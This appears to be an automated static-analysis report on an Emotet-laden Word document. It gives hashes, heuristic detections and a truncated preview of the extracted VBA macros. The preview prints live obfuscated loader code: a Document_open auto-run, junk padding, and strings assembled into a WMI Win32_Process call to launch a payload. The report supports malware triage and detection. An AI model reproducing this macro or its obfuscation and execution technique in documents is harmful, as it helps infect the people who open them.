Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3b2294e8895d4da5…

MALICIOUS

Office (OLE)

164.9 KB Created: 2019-12-10 05:53:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3de0400ee46ddbe7493e21b5bd3d15ec SHA-1: 025ea0660e0f1fb413454004963ab368a31cf205 SHA-256: 3b2294e8895d4da5051ba6eb27074cc242c54197c0104198f8e607e27e8ce974
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common Emotet infection vector. The macro uses CreateObject to likely download and execute a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7443090-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7443090-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6645 bytes
SHA-256: 16ce61b873bdc07d1da6eaa6976ccaee1fdc94199e1372e7b24d36e7b6e89371
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vhlevhzlrqxb"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Yfayveegwub, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Aqdcwpdy, Bwrkgvzmz
If Ranxmehj > Waawgfwp Then
         Fqguomfzap = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Oyipqfjlv < Hewqozpcwpd Then
         Utizyijp = 766
End If
If Mbnqpqgyqpc < Rvrakmzpkbi Then
         Wjmnfxdnkoaia = 833
End If
   Dim Ysufbipsnyt, Wippsrejfjdr
If Ezltheml > Kmufkqhzwgrhq Then
         Trgtiqoqel = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Elvfldte < Yzobduemwjcio Then
         Rwfwwquqp = 766
End If
If Aagdweewshe < Tlrojywxjzt Then
         Ijgeizzpuef = 833
End If
   Dim Viqywpyvdtyt, Flbylcawun
If Dpcemtrjnsob > Vjztmrrfepxh Then
         Qzociclisy = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Bovmwanth < Baycykmhebito Then
         Tigmqamipc = 766
End If
If Twuzbzbmcjam < Rbdsvhilh Then
         Vbwosjzpst = 833
End If
Jrkroyjjorm
End Sub

Attribute VB_Name = "Dzyxlliw"
Attribute VB_Base = "0{8FF330E8-561A-4D9D-BA26-DBF1F7A4535B}{A6849F37-9570-4F64-86CE-BCBB81FDC4AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Widwtyocnaqjd"
Function Lckzktbxx(Lnazxwtomvqku)
   Dim Rvwnhjwbl, Kfnycnpwzu
If Jbphqfecwd > Xcwznmwqxta Then
         Tdddwylelnmr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Vguogoxbz < Jmxwmpaqoxb Then
         Aeellojhkhajd = 766
End If
If Jvremnnmnhzx < Ohugvock Then
         Khiyfxnjlgg = 833
End If
Wabiihywvuxqw = Vhlevhzlrqxb.Yfayveegwub
   Dim Dlaakorpnmxti, Ytyioqoc
If Zdghaghdn > Kzzhndynaq Then
         Limdolfojssk = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Hmfqpvaqnt < Bnpoiqxi Then
         Odsshncshovdv = 766
End If
If Jaguuvsfn < Yvjcncpixcyw Then
         Nvmkfxrdgy = 833
End If
Yvbysslcbxvgy = Wabiihywvuxqw + Dzyxlliw.Wqkebomuextbo + Dzyxlliw.Huinwncztbspl + Dzyxlliw.Zzzndwjjfhb
   Dim Kbnylvcvgmya, Ubnbxskdmo
If Ikxcbvweu > Qrattngzsdv Then
         Yytxjhoyk = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Sxdlcdvocl < Xyqqfpvbnf Then
         Cczundqfk = 766
End If
If Wjvwoihc < Owysrjjo Then
         Mfzizeaazurzj = 833
End If
Biebtmdsvqnxl = Yvbysslcbxvgy + Dzyxlliw.Jkqbxkrwlac + Dzyxlliw.Bjpkkouzzg
   Dim Oscgjbyoi, Stnculatiobv
If Uskvraac > Dtpcxcgmdb Then
         Yswysaxrmx = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Pjotquqq < Ybvyvgipr Then
         Jurythzffwfr = 766
End If
If Oonvikrntt < Ufqjwgch Then
         Wuxnrkriski = 833
End If
Lckzktbxx = Ekwqeqvden + Biebtmdsvqnxl + Ekwqeqvden
   Dim Tdqvwkcdho, Qxmfmsgk
If Wluzfmls > Gwhygqym Then
         Oegagtvroi = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Mrgfbxepsot < Tpnyvttnnmret Then
         Qtemktkqsb = 766
End If
If Ihtalvdm < Ttozzyeob Then
         Szzkhaej = 833
End If
End Function
Function Jrkroyjjorm()
   Dim Uxzqbrufu, Ytjxvcjsk
If Tofvridhkif > Wegzfgbas Then
         Gvtanjmcndek = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Ambmuvtvb < Wjnepqallpv Then
         Tawckesu = 766
End If
If Ftaoyhalurjr < Xyndyaqexxstz Then
         Wiwbpikpbb = 833
End If
Ysxajewgxeltm = a + "win" + b + "mgmt" + c + "s:Win32_P" + d + "rocess"
   Dim Ywefxmiyl, Cssuyhyb
If Robkpdakzu > Ztgbhetjzkdc Then
         Fhuhogdzgic = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Ihnmbwksz < Zthljhkybzysq Then
         Zoamyznwl = 766
End If

... (truncated)